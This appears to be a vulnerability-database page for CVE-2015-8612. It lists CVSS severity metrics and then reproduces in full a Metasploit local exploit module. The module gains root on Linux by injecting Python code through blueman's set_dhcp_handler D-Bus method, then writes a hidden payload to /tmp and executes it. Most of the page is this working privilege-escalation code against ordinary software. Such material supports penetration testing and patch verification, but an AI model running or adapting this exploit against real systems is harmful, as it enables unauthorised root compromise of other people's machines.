The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements
Present
AT
The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: blueman set_dhcp_handler D-Bus Privilege Escalation
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'blueman set_dhcp_handler D-Bus Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges by exploiting a Python
code injection vulnerability in blueman versions prior to 2.0.3.
The `org.blueman.Mechanism.EnableNetwork` D-Bus interface exposes the
`set_dhcp_handler` function which uses user input in a call to `eval`,
without sanitization, resulting in arbitrary code execution as root.
This module has been tested successfully with blueman version 1.23
on Debian 8 Jessie (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'the grugq', # Discovery and exploit
'bcoles' # Metasploit
],
'DisclosureDate' => '2015-12-18',
'References' =>
[
['BID', '79688'],
['CVE', '2015-8612'],
['URL', 'https://twitter.com/thegrugq/status/677809527882813440'],
['URL', 'https://github.com/blueman-project/blueman/issues/416'],
['URL', 'https://www.openwall.com/lists/oss-security/2015/12/18/6'],
['URL', 'https://www.debian.org/security/2015/dsa-3427'],
['URL', 'https://bugs.mageia.org/show_bug.cgi?id=17361'],
['URL', 'http://www.slackware.com/security/viewer.php?l=slackware-security&y=2015&m=slackware-security.421085']
],
'Platform' => ['linux'],
'Arch' =>
[
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['Auto', {}]],
'DefaultTarget' => 0))
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end
def base_dir
datastore['WritableDir'].to_s
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def upload_and_chmodx(path, data)
upload path, data
chmod path
end
def dbus_send(dest:, type:, path:, interface:, contents:)
cmd_exec "dbus-send --system --print-reply --dest=#{dest} --type=#{type} #{path} #{interface} #{contents}"
end
def check
unless command_exists? 'dbus-send'
vprint_error 'dbus-send is not installed. Exploitation will fail.'
return CheckCode::Safe
end
vprint_good 'dbus-send is installed'
res = dbus_send(
dest: 'org.blueman.Mechanism',
type: 'method_call',
path: '/',
interface: 'org.freedesktop.DBus.Introspectable.Introspect',
contents: ''
)
unless res.include? 'EnableNetwork'
vprint_error 'org.blueman.Mechanism.EnableNetwork D-Bus interface is not available'
return CheckCode::Safe
end
vprint_good 'org.blueman.Mechanism.EnableNetwork D-Bus interface is available'
res = execute_python('')
unless res.include? 'eval("nc.set_dhcp_handler(%s)" % dhcp_handler)'
vprint_error 'Target is not vulnerable'
return CheckCode::Safe
end
CheckCode::Vulnerable
end
def execute_python(code)
dbus_send(
dest: 'org.blueman.Mechanism',
type: 'method_call',
path: '/',
interface: 'org.blueman.Mechanism.EnableNetwork',
contents: "'string:[]' 'string:[]' 'string:#{code}'"
)
end
def exploit
unless check == CheckCode::Vulnerable
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
payload_name = ".#{rand_text_alphanumeric 10..15}"
payload_path = "#{base_dir}/#{payload_name}"
upload_and_chmodx payload_path, generate_payload_exe
print_status 'Executing payload...'
res = execute_python "os.system(\"#{payload_path}&\")"
vprint_line res
unless res.include? 'eval("nc.set_dhcp_handler(%s)" % dhcp_handler)'
fail_with Failure::NotVulnerable, 'The target is not vulnerable'
end
if res.include? 'SyntaxError:'
fail_with Failure::Unknown, 'Payload execution failed due to syntax error'
end
end
end
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